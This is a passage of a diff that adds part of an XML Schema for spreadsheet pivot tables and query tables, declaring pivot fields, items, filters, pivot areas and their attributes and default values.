default="true"/> + <xsd:attribute name="enableDrill" type="xsd:boolean" default="true"/> + <xsd:attribute name="enableFieldProperties" type="xsd:boolean" default="true"/> + <xsd:attribute name="preserveFormatting" type="xsd:boolean" default="true"/> + <xsd:attribute name="useAutoFormatting" type="xsd:boolean" default="false"/> + <xsd:attribute name="pageWrap" type="xsd:unsignedInt" default="0"/> + <xsd:attribute name="pageOverThenDown" type="xsd:boolean" default="false"/> + <xsd:attribute name="subtotalHiddenItems" type="xsd:boolean" default="false"/> + <xsd:attribute name="rowGrandTotals" type="xsd:boolean" default="true"/> + <xsd:attribute name="colGrandTotals" type="xsd:boolean" default="true"/> + <xsd:attribute name="fieldPrintTitles" type="xsd:boolean" default="false"/> + <xsd:attribute name="itemPrintTitles" type="xsd:boolean" default="false"/> + <xsd:attribute name="mergeItem" type="xsd:boolean" default="false"/> + <xsd:attribute name="showDropZones" type="xsd:boolean" default="true"/> + <xsd:attribute name="createdVersion" type="xsd:unsignedByte" default="0"/> + <xsd:attribute name="indent" type="xsd:unsignedInt" default="1"/> + <xsd:attribute name="showEmptyRow" type="xsd:boolean" default="false"/> + <xsd:attribute name="showEmptyCol" type="xsd:boolean" default="false"/> + <xsd:attribute name="showHeaders" type="xsd:boolean" default="true"/> + <xsd:attribute name="compact" type="xsd:boolean" default="true"/> + <xsd:attribute name="outline" type="xsd:boolean" default="false"/> + <xsd:attribute name="outlineData" type="xsd:boolean" default="false"/> + <xsd:attribute name="compactData" type="xsd:boolean" default="true"/> + <xsd:attribute name="published" type="xsd:boolean" default="false"/> + <xsd:attribute name="gridDropZones" type="xsd:boolean" default="false"/> + <xsd:attribute name="immersive" type="xsd:boolean" default="true"/> + <xsd:attribute name="multipleFieldFilters" type="xsd:boolean" default="true"/> + <xsd:attribute name="chartFormat" type="xsd:unsignedInt" default="0"/> + <xsd:attribute name="rowHeaderCaption" type="s:ST_Xstring"/> + <xsd:attribute name="colHeaderCaption" type="s:ST_Xstring"/> + <xsd:attribute name="fieldListSortAscending" type="xsd:boolean" default="false"/> + <xsd:attribute name="mdxSubqueries" type="xsd:boolean" default="false"/> + <xsd:attribute name="customListSort" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_Location"> + <xsd:attribute name="ref" use="required" type="ST_Ref"/> + <xsd:attribute name="firstHeaderRow" use="required" type="xsd:unsignedInt"/> + <xsd:attribute name="firstDataRow" use="required" type="xsd:unsignedInt"/> + <xsd:attribute name="firstDataCol" use="required" type="xsd:unsignedInt"/> + <xsd:attribute name="rowPageCount" type="xsd:unsignedInt" default="0"/> + <xsd:attribute name="colPageCount" type="xsd:unsignedInt" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_PivotFields"> + <xsd:sequence> + <xsd:element name="pivotField" maxOccurs="unbounded" type="CT_PivotField"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_PivotField"> + <xsd:sequence> + <xsd:element name="items" minOccurs="0" type="CT_Items"/> + <xsd:element name="autoSortScope" minOccurs="0" type="CT_AutoSortScope"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="name" type="s:ST_Xstring"/> + <xsd:attribute name="axis" use="optional" type="ST_Axis"/> + <xsd:attribute name="dataField" type="xsd:boolean" default="false"/> + <xsd:attribute name="subtotalCaption" type="s:ST_Xstring"/> + <xsd:attribute name="showDropDowns" type="xsd:boolean" default="true"/> + <xsd:attribute name="hiddenLevel" type="xsd:boolean" default="false"/> + <xsd:attribute name="uniqueMemberProperty" type="s:ST_Xstring"/> + <xsd:attribute name="compact" type="xsd:boolean" default="true"/> + <xsd:attribute name="allDrilled" type="xsd:boolean" default="false"/> + <xsd:attribute name="numFmtId" type="ST_NumFmtId" use="optional"/> + <xsd:attribute name="outline" type="xsd:boolean" default="true"/> + <xsd:attribute name="subtotalTop" type="xsd:boolean" default="true"/> + <xsd:attribute name="dragToRow" type="xsd:boolean" default="true"/> + <xsd:attribute name="dragToCol" type="xsd:boolean" default="true"/> + <xsd:attribute name="multipleItemSelectionAllowed" type="xsd:boolean" default="false"/> + <xsd:attribute name="dragToPage" type="xsd:boolean" default="true"/> + <xsd:attribute name="dragToData" type="xsd:boolean" default="true"/> + <xsd:attribute name="dragOff" type="xsd:boolean" default="true"/> + <xsd:attribute name="showAll" type="xsd:boolean" default="true"/> + <xsd:attribute name="insertBlankRow" type="xsd:boolean" default="false"/> + <xsd:attribute name="serverField" type="xsd:boolean" default="false"/> + <xsd:attribute name="insertPageBreak" type="xsd:boolean" default="false"/> + <xsd:attribute name="autoShow" type="xsd:boolean" default="false"/> + <xsd:attribute name="topAutoShow" type="xsd:boolean" default="true"/> + <xsd:attribute name="hideNewItems" type="xsd:boolean" default="false"/> + <xsd:attribute name="measureFilter" type="xsd:boolean" default="false"/> + <xsd:attribute name="includeNewItemsInFilter" type="xsd:boolean" default="false"/> + <xsd:attribute name="itemPageCount" type="xsd:unsignedInt" default="10"/> + <xsd:attribute name="sortType" type="ST_FieldSortType" default="manual"/> + <xsd:attribute name="dataSourceSort" type="xsd:boolean" use="optional"/> + <xsd:attribute name="nonAutoSortDefault" type="xsd:boolean" default="false"/> + <xsd:attribute name="rankBy" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="defaultSubtotal" type="xsd:boolean" default="true"/> + <xsd:attribute name="sumSubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="countASubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="avgSubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="maxSubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="minSubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="productSubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="countSubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="stdDevSubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="stdDevPSubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="varSubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="varPSubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="showPropCell" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showPropTip" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showPropAsCaption" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="defaultAttributeDrillState" type="xsd:boolean" use="optional" + default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_AutoSortScope"> + <xsd:sequence> + <xsd:element name="pivotArea" type="CT_PivotArea"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Items"> + <xsd:sequence> + <xsd:element name="item" maxOccurs="unbounded" type="CT_Item"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_Item"> + <xsd:attribute name="n" type="s:ST_Xstring"/> + <xsd:attribute name="t" type="ST_ItemType" default="data"/> + <xsd:attribute name="h" type="xsd:boolean" default="false"/> + <xsd:attribute name="s" type="xsd:boolean" default="false"/> + <xsd:attribute name="sd" type="xsd:boolean" default="true"/> + <xsd:attribute name="f" type="xsd:boolean" default="false"/> + <xsd:attribute name="m" type="xsd:boolean" default="false"/> + <xsd:attribute name="c" type="xsd:boolean" default="false"/> + <xsd:attribute name="x" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="d" type="xsd:boolean" default="false"/> + <xsd:attribute name="e" type="xsd:boolean" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_PageFields"> + <xsd:sequence> + <xsd:element name="pageField" maxOccurs="unbounded" type="CT_PageField"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_PageField"> + <xsd:sequence minOccurs="0"> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="fld" use="required" type="xsd:int"/> + <xsd:attribute name="item" use="optional" type="xsd:unsignedInt"/> + <xsd:attribute name="hier" type="xsd:int"/> + <xsd:attribute name="name" type="s:ST_Xstring"/> + <xsd:attribute name="cap" type="s:ST_Xstring"/> + </xsd:complexType> + <xsd:complexType name="CT_DataFields"> + <xsd:sequence> + <xsd:element name="dataField" maxOccurs="unbounded" type="CT_DataField"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_DataField"> + <xsd:sequence> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="name" use="optional" type="s:ST_Xstring"/> + <xsd:attribute name="fld" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="subtotal" type="ST_DataConsolidateFunction" default="sum"/> + <xsd:attribute name="showDataAs" type="ST_ShowDataAs" default="normal"/> + <xsd:attribute name="baseField" type="xsd:int" default="-1"/> + <xsd:attribute name="baseItem" type="xsd:unsignedInt" default="1048832"/> + <xsd:attribute name="numFmtId" type="ST_NumFmtId" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_rowItems"> + <xsd:sequence> + <xsd:element name="i" maxOccurs="unbounded" type="CT_I"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_colItems"> + <xsd:sequence> + <xsd:element name="i" maxOccurs="unbounded" type="CT_I"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_I"> + <xsd:sequence> + <xsd:element name="x" minOccurs="0" maxOccurs="unbounded" type="CT_X"/> + </xsd:sequence> + <xsd:attribute name="t" type="ST_ItemType" default="data"/> + <xsd:attribute name="r" type="xsd:unsignedInt" default="0"/> + <xsd:attribute name="i" type="xsd:unsignedInt" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_X"> + <xsd:attribute name="v" type="xsd:int" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_RowFields"> + <xsd:sequence> + <xsd:element name="field" maxOccurs="unbounded" type="CT_Field"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_ColFields"> + <xsd:sequence> + <xsd:element name="field" maxOccurs="unbounded" type="CT_Field"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_Field"> + <xsd:attribute name="x" type="xsd:int" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Formats"> + <xsd:sequence> + <xsd:element name="format" maxOccurs="unbounded" type="CT_Format"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_Format"> + <xsd:sequence> + <xsd:element name="pivotArea" type="CT_PivotArea"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="action" type="ST_FormatAction" default="formatting"/> + <xsd:attribute name="dxfId" type="ST_DxfId" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_ConditionalFormats"> + <xsd:sequence> + <xsd:element name="conditionalFormat" maxOccurs="unbounded" type="CT_ConditionalFormat"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_ConditionalFormat"> + <xsd:sequence> + <xsd:element name="pivotAreas" type="CT_PivotAreas"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="scope" type="ST_Scope" default="selection"/> + <xsd:attribute name="type" type="ST_Type" default="none"/> + <xsd:attribute name="priority" use="required" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_PivotAreas"> + <xsd:sequence> + <xsd:element name="pivotArea" minOccurs="0" maxOccurs="unbounded" type="CT_PivotArea"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:simpleType name="ST_Scope"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="selection"/> + <xsd:enumeration value="data"/> + <xsd:enumeration value="field"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_Type"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="all"/> + <xsd:enumeration value="row"/> + <xsd:enumeration value="column"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_ChartFormats"> + <xsd:sequence> + <xsd:element name="chartFormat" maxOccurs="unbounded" type="CT_ChartFormat"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_ChartFormat"> + <xsd:sequence> + <xsd:element name="pivotArea" type="CT_PivotArea"/> + </xsd:sequence> + <xsd:attribute name="chart" use="required" type="xsd:unsignedInt"/> + <xsd:attribute name="format" use="required" type="xsd:unsignedInt"/> + <xsd:attribute name="series" type="xsd:boolean" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_PivotHierarchies"> + <xsd:sequence> + <xsd:element name="pivotHierarchy" maxOccurs="unbounded" type="CT_PivotHierarchy"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_PivotHierarchy"> + <xsd:sequence> + <xsd:element name="mps" minOccurs="0" type="CT_MemberProperties"/> + <xsd:element name="members" minOccurs="0" maxOccurs="unbounded" type="CT_Members"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="outline" type="xsd:boolean" default="false"/> + <xsd:attribute name="multipleItemSelectionAllowed" type="xsd:boolean" default="false"/> + <xsd:attribute name="subtotalTop" type="xsd:boolean" default="false"/> + <xsd:attribute name="showInFieldList" type="xsd:boolean" default="true"/> + <xsd:attribute name="dragToRow" type="xsd:boolean" default="true"/> + <xsd:attribute name="dragToCol" type="xsd:boolean" default="true"/> + <xsd:attribute name="dragToPage" type="xsd:boolean" default="true"/> + <xsd:attribute name="dragToData" type="xsd:boolean" default="false"/> + <xsd:attribute name="dragOff" type="xsd:boolean" default="true"/> + <xsd:attribute name="includeNewItemsInFilter" type="xsd:boolean" default="false"/> + <xsd:attribute name="caption" type="s:ST_Xstring" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_RowHierarchiesUsage"> + <xsd:sequence> + <xsd:element name="rowHierarchyUsage" minOccurs="1" maxOccurs="unbounded" + type="CT_HierarchyUsage"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_ColHierarchiesUsage"> + <xsd:sequence> + <xsd:element name="colHierarchyUsage" minOccurs="1" maxOccurs="unbounded" + type="CT_HierarchyUsage"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_HierarchyUsage"> + <xsd:attribute name="hierarchyUsage" type="xsd:int" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_MemberProperties"> + <xsd:sequence> + <xsd:element name="mp" maxOccurs="unbounded" type="CT_MemberProperty"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_MemberProperty"> + <xsd:attribute name="name" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="showCell" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showTip" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showAsCaption" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="nameLen" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="pPos" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="pLen" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="level" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="field" use="required" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_Members"> + <xsd:sequence> + <xsd:element name="member" maxOccurs="unbounded" type="CT_Member"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + <xsd:attribute name="level" use="optional" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_Member"> + <xsd:attribute name="name" use="required" type="s:ST_Xstring"/> + </xsd:complexType> + <xsd:complexType name="CT_Dimensions"> + <xsd:sequence> + <xsd:element name="dimension" minOccurs="0" maxOccurs="unbounded" type="CT_PivotDimension"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_PivotDimension"> + <xsd:attribute name="measure" type="xsd:boolean" default="false"/> + <xsd:attribute name="name" use="required" type="s:ST_Xstring"/> + <xsd:attribute name="uniqueName" use="required" type="s:ST_Xstring"/> + <xsd:attribute name="caption" use="required" type="s:ST_Xstring"/> + </xsd:complexType> + <xsd:complexType name="CT_MeasureGroups"> + <xsd:sequence> + <xsd:element name="measureGroup" minOccurs="0" maxOccurs="unbounded" type="CT_MeasureGroup"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_MeasureDimensionMaps"> + <xsd:sequence> + <xsd:element name="map" minOccurs="0" maxOccurs="unbounded" type="CT_MeasureDimensionMap"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_MeasureGroup"> + <xsd:attribute name="name" use="required" type="s:ST_Xstring"/> + <xsd:attribute name="caption" use="required" type="s:ST_Xstring"/> + </xsd:complexType> + <xsd:complexType name="CT_MeasureDimensionMap"> + <xsd:attribute name="measureGroup" use="optional" type="xsd:unsignedInt"/> + <xsd:attribute name="dimension" use="optional" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_PivotTableStyle"> + <xsd:attribute name="name" type="xsd:string"/> + <xsd:attribute name="showRowHeaders" type="xsd:boolean"/> + <xsd:attribute name="showColHeaders" type="xsd:boolean"/> + <xsd:attribute name="showRowStripes" type="xsd:boolean"/> + <xsd:attribute name="showColStripes" type="xsd:boolean"/> + <xsd:attribute name="showLastColumn" type="xsd:boolean" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_PivotFilters"> + <xsd:sequence> + <xsd:element name="filter" minOccurs="0" maxOccurs="unbounded" type="CT_PivotFilter"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_PivotFilter"> + <xsd:sequence> + <xsd:element name="autoFilter" minOccurs="1" maxOccurs="1" type="CT_AutoFilter"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="fld" use="required" type="xsd:unsignedInt"/> + <xsd:attribute name="mpFld" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="type" use="required" type="ST_PivotFilterType"/> + <xsd:attribute name="evalOrder" use="optional" type="xsd:int" default="0"/> + <xsd:attribute name="id" use="required" type="xsd:unsignedInt"/> + <xsd:attribute name="iMeasureHier" use="optional" type="xsd:unsignedInt"/> + <xsd:attribute name="iMeasureFld" use="optional" type="xsd:unsignedInt"/> + <xsd:attribute name="name" type="s:ST_Xstring"/> + <xsd:attribute name="description" type="s:ST_Xstring"/> + <xsd:attribute name="stringValue1" type="s:ST_Xstring"/> + <xsd:attribute name="stringValue2" type="s:ST_Xstring"/> + </xsd:complexType> + <xsd:simpleType name="ST_ShowDataAs"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="normal"/> + <xsd:enumeration value="difference"/> + <xsd:enumeration value="percent"/> + <xsd:enumeration value="percentDiff"/> + <xsd:enumeration value="runTotal"/> + <xsd:enumeration value="percentOfRow"/> + <xsd:enumeration value="percentOfCol"/> + <xsd:enumeration value="percentOfTotal"/> + <xsd:enumeration value="index"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ItemType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="data"/> + <xsd:enumeration value="default"/> + <xsd:enumeration value="sum"/> + <xsd:enumeration value="countA"/> + <xsd:enumeration value="avg"/> + <xsd:enumeration value="max"/> + <xsd:enumeration value="min"/> + <xsd:enumeration value="product"/> + <xsd:enumeration value="count"/> + <xsd:enumeration value="stdDev"/> + <xsd:enumeration value="stdDevP"/> + <xsd:enumeration value="var"/> + <xsd:enumeration value="varP"/> + <xsd:enumeration value="grand"/> + <xsd:enumeration value="blank"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_FormatAction"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="blank"/> + <xsd:enumeration value="formatting"/> + <xsd:enumeration value="drill"/> + <xsd:enumeration value="formula"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_FieldSortType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="manual"/> + <xsd:enumeration value="ascending"/> + <xsd:enumeration value="descending"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_PivotFilterType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="unknown"/> + <xsd:enumeration value="count"/> + <xsd:enumeration value="percent"/> + <xsd:enumeration value="sum"/> + <xsd:enumeration value="captionEqual"/> + <xsd:enumeration value="captionNotEqual"/> + <xsd:enumeration value="captionBeginsWith"/> + <xsd:enumeration value="captionNotBeginsWith"/> + <xsd:enumeration value="captionEndsWith"/> + <xsd:enumeration value="captionNotEndsWith"/> + <xsd:enumeration value="captionContains"/> + <xsd:enumeration value="captionNotContains"/> + <xsd:enumeration value="captionGreaterThan"/> + <xsd:enumeration value="captionGreaterThanOrEqual"/> + <xsd:enumeration value="captionLessThan"/> + <xsd:enumeration value="captionLessThanOrEqual"/> + <xsd:enumeration value="captionBetween"/> + <xsd:enumeration value="captionNotBetween"/> + <xsd:enumeration value="valueEqual"/> + <xsd:enumeration value="valueNotEqual"/> + <xsd:enumeration value="valueGreaterThan"/> + <xsd:enumeration value="valueGreaterThanOrEqual"/> + <xsd:enumeration value="valueLessThan"/> + <xsd:enumeration value="valueLessThanOrEqual"/> + <xsd:enumeration value="valueBetween"/> + <xsd:enumeration value="valueNotBetween"/> + <xsd:enumeration value="dateEqual"/> + <xsd:enumeration value="dateNotEqual"/> + <xsd:enumeration value="dateOlderThan"/> + <xsd:enumeration value="dateOlderThanOrEqual"/> + <xsd:enumeration value="dateNewerThan"/> + <xsd:enumeration value="dateNewerThanOrEqual"/> + <xsd:enumeration value="dateBetween"/> + <xsd:enumeration value="dateNotBetween"/> + <xsd:enumeration value="tomorrow"/> + <xsd:enumeration value="today"/> + <xsd:enumeration value="yesterday"/> + <xsd:enumeration value="nextWeek"/> + <xsd:enumeration value="thisWeek"/> + <xsd:enumeration value="lastWeek"/> + <xsd:enumeration value="nextMonth"/> + <xsd:enumeration value="thisMonth"/> + <xsd:enumeration value="lastMonth"/> + <xsd:enumeration value="nextQuarter"/> + <xsd:enumeration value="thisQuarter"/> + <xsd:enumeration value="lastQuarter"/> + <xsd:enumeration value="nextYear"/> + <xsd:enumeration value="thisYear"/> + <xsd:enumeration value="lastYear"/> + <xsd:enumeration value="yearToDate"/> + <xsd:enumeration value="Q1"/> + <xsd:enumeration value="Q2"/> + <xsd:enumeration value="Q3"/> + <xsd:enumeration value="Q4"/> + <xsd:enumeration value="M1"/> + <xsd:enumeration value="M2"/> + <xsd:enumeration value="M3"/> + <xsd:enumeration value="M4"/> + <xsd:enumeration value="M5"/> + <xsd:enumeration value="M6"/> + <xsd:enumeration value="M7"/> + <xsd:enumeration value="M8"/> + <xsd:enumeration value="M9"/> + <xsd:enumeration value="M10"/> + <xsd:enumeration value="M11"/> + <xsd:enumeration value="M12"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_PivotArea"> + <xsd:sequence> + <xsd:element name="references" minOccurs="0" type="CT_PivotAreaReferences"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="field" use="optional" type="xsd:int"/> + <xsd:attribute name="type" type="ST_PivotAreaType" default="normal"/> + <xsd:attribute name="dataOnly" type="xsd:boolean" default="true"/> + <xsd:attribute name="labelOnly" type="xsd:boolean" default="false"/> + <xsd:attribute name="grandRow" type="xsd:boolean" default="false"/> + <xsd:attribute name="grandCol" type="xsd:boolean" default="false"/> + <xsd:attribute name="cacheIndex" type="xsd:boolean" default="false"/> + <xsd:attribute name="outline" type="xsd:boolean" default="true"/> + <xsd:attribute name="offset" type="ST_Ref"/> + <xsd:attribute name="collapsedLevelsAreSubtotals" type="xsd:boolean" default="false"/> + <xsd:attribute name="axis" type="ST_Axis" use="optional"/> + <xsd:attribute name="fieldPosition" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_PivotAreaType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="normal"/> + <xsd:enumeration value="data"/> + <xsd:enumeration value="all"/> + <xsd:enumeration value="origin"/> + <xsd:enumeration value="button"/> + <xsd:enumeration value="topEnd"/> + <xsd:enumeration value="topRight"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_PivotAreaReferences"> + <xsd:sequence> + <xsd:element name="reference" maxOccurs="unbounded" type="CT_PivotAreaReference"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:complexType name="CT_PivotAreaReference"> + <xsd:sequence> + <xsd:element name="x" minOccurs="0" maxOccurs="unbounded" type="CT_Index"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="field" use="optional" type="xsd:unsignedInt"/> + <xsd:attribute name="count" type="xsd:unsignedInt"/> + <xsd:attribute name="selected" type="xsd:boolean" default="true"/> + <xsd:attribute name="byPosition" type="xsd:boolean" default="false"/> + <xsd:attribute name="relative" type="xsd:boolean" default="false"/> + <xsd:attribute name="defaultSubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="sumSubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="countASubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="avgSubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="maxSubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="minSubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="productSubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="countSubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="stdDevSubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="stdDevPSubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="varSubtotal" type="xsd:boolean" default="false"/> + <xsd:attribute name="varPSubtotal" type="xsd:boolean" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_Index"> + <xsd:attribute name="v" use="required" type="xsd:unsignedInt"/> + </xsd:complexType> + <xsd:simpleType name="ST_Axis"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="axisRow"/> + <xsd:enumeration value="axisCol"/> + <xsd:enumeration value="axisPage"/> + <xsd:enumeration value="axisValues"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:element name="queryTable" type="CT_QueryTable"/> + <xsd:complexType name="CT_QueryTable"> + <xsd:sequence> + <xsd:element name="queryTableRefresh" type="CT_QueryTableRefresh" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="name" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="headers" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="rowNumbers" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="disableRefresh" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="backgroundRefresh" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="firstBackgroundRefresh" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="refreshOnLoad" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="growShrinkType" type="ST_GrowShrinkType" use="optional" + default="insertDelete"/> + <xsd:attribute name="fillFormulas" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="removeDataOnSave" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="disableEdit" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="preserveFormatting" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="adjustColumnWidth" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="intermediate" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="connectionId" type="xsd:unsignedInt" use="required"/> + <xsd:attributeGroup ref="AG_AutoFormat"/> + </xsd:complexType> + <xsd:complexType name="CT_QueryTableRefresh"> + <xsd:sequence> + <xsd:element name="queryTableFields" type="CT_QueryTableFields" minOccurs="1" maxOccurs="1"/> + <xsd:element name="queryTableDeletedFields" type="CT_QueryTableDeletedFields" minOccurs="0" + maxOccurs="1"/> + <xsd:element name="sortState" minOccurs="0" maxOccurs="1" type="CT_SortState"/> + <xsd:element name="extLst" minOccurs="0" maxOccurs="1" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="preserveSortFilterLayout" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="fieldIdWrapped" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="headersInLastRefresh" type="xsd:boolean" use="optional" default="true"/> + 